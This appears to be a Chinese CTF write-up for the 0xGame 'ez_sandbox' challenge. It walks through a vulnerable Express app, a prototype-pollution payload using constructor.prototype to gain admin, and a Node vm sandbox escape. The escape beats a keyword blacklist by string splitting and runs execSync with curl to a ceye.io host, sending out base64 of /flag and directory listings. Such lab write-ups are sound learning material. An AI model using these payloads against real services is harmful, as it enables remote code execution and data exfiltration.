从0开始的nodejs,0xGame [Week 2] ez_sandbox

nodejs这块一直没有系统且认真的学习过,偶然间看到了文大师傅的一篇关于nodejs的博客,痛定思痛,决定从新生赛下手,恶补一下nodejs

题目附件内容如下

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

分析源码看到标志性原型链污染函数clone和merge,但merge中对__proto__进行了匹配,认真分析知道是把__proto__过滤了。

随便注册个账号登录进去看看

发现不是admin,并没用运行代码的权限,所以首当其冲的就是获取admin权限,分析源代码

可以得知权限是在这段代码获取的,然后就到了新手走弯路环节,我萌生了两个想法

1.污染role为admin

2.污染admins对象让其拥有我们的账号

接下来开始在本地测试方法1,发现可以污染成功,但是在进入if判断之后依然会被改为guest权限,所以寄。

接下来就是污染admins对象,按我的理解,所有对象都会有一个obj对象,就是所有对象的父类,如果子类中没有某属性,就会到父类中寻找,如果没有就返回undefined,所以接下来就是污染admins父类让其拥有我们的用户名属性,进而通过if判断,获取admin权限

审计代码可以发现,在login路由中调用了clone函数,即原型链污染点,所以尝试在此污染,__proto__使用constructor.prototype进行绕过

{"username":"444","password":"333","constructor":{"prototype":{"444":"333"}}}

输入账号密码,点击登录,在bp修改json为我们的poc然后方包,成功登陆后发现获取到了admin权限

然后继续审计代码的其他路由

1./profile显示用户名和权限,没啥用

2./sandbox看到了经典的vm,分析一下大概是输入一个code,经过waf后执行,然后细看下waf

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

过滤了一堆黑名单,选择拼接绕过,然后祭出我不知道做哪个题攒的payload

let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync(\"curl http://y91yp4.ceye.io/`cat /flag | base64`\").toString();

然后拼接一下绕过黑名单

let res = import('./app.js'); res.toString['cons'+'tructor']("return this") ()['pro'+'cess']['main'+'Module']['req'+'uire']("child_pro"+"cess")['exe'+'cSync']("curl http://y91yp4.ceye.io/`ls / | base64`").toString();

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值